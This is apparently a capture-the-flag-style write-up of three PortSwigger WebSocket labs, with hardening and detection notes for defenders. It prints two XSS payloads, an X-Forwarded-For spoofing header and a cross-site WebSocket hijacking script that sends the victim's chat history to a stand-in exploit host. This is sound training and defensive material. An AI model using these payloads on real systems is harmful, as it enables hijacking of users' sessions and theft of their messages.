WebSockets are not outside the web security model. They start as HTTP, carry cookies, and then become a long-lived message channel.
The three PortSwigger WebSocket labs split the problem cleanly:
- message validation;
- cross-site WebSocket hijacking;
- handshake manipulation.
Client-side escaping is not validation
In the first lab, the browser client encodes dangerous characters before sending chat messages. Intercept the WebSocket frame and send the raw payload:
<img src=1 onerror='alert(1)'>
The support agent renders it. The failure is familiar: the server trusted a client-side transformation.
Cross-site WebSocket hijacking is CSRF for sockets
If a WebSocket handshake relies only on cookies and does not validate Origin or a token, an attacker page can open the victim’s authenticated socket:
var ws = new WebSocket('wss://LAB/chat');
ws.onopen = function() {
ws.send('READY');
};
ws.onmessage = function(event) {
fetch('https://EXPLOIT/log?m=' + encodeURIComponent(event.data), {mode: 'no-cors'});
};
The READY command returns chat history. Official walkthroughs often use Collaborator for collection, but an exploit-server access log can receive the same data via query string.
The handshake is still HTTP
The third lab uses a flawed filter and IP block. The handshake can be manipulated with HTTP headers:
X-Forwarded-For: 1.1.1.1
Then the message payload bypasses the filter with alternate casing and template literal syntax:
<img src=1 oNeRrOr=alert`1`>
This is the key habit: inspect both the handshake and the frame stream.
Defender notes
Hardening:
- validate Origin on WebSocket handshakes;
- require a CSRF or one-time WebSocket token for authenticated sockets;
- bind sockets to the authenticated user server-side;
- validate message schema server-side;
- encode output at the render sink;
- trust
X-Forwarded-Foronly from known proxies; - minimize history returned by default commands such as
READY.
Detection:
- unexpected Origin values on
/chathandshakes; - frames containing HTML tags, event handlers, or script URLs;
- repeated handshakes with changing
X-Forwarded-For; - cross-origin pages opening a socket and immediately sending
READY; - support/admin browsers rendering chat messages as HTML.
The durable rule is that a WebSocket has two attack surfaces: the HTTP handshake and the message protocol. Secure both.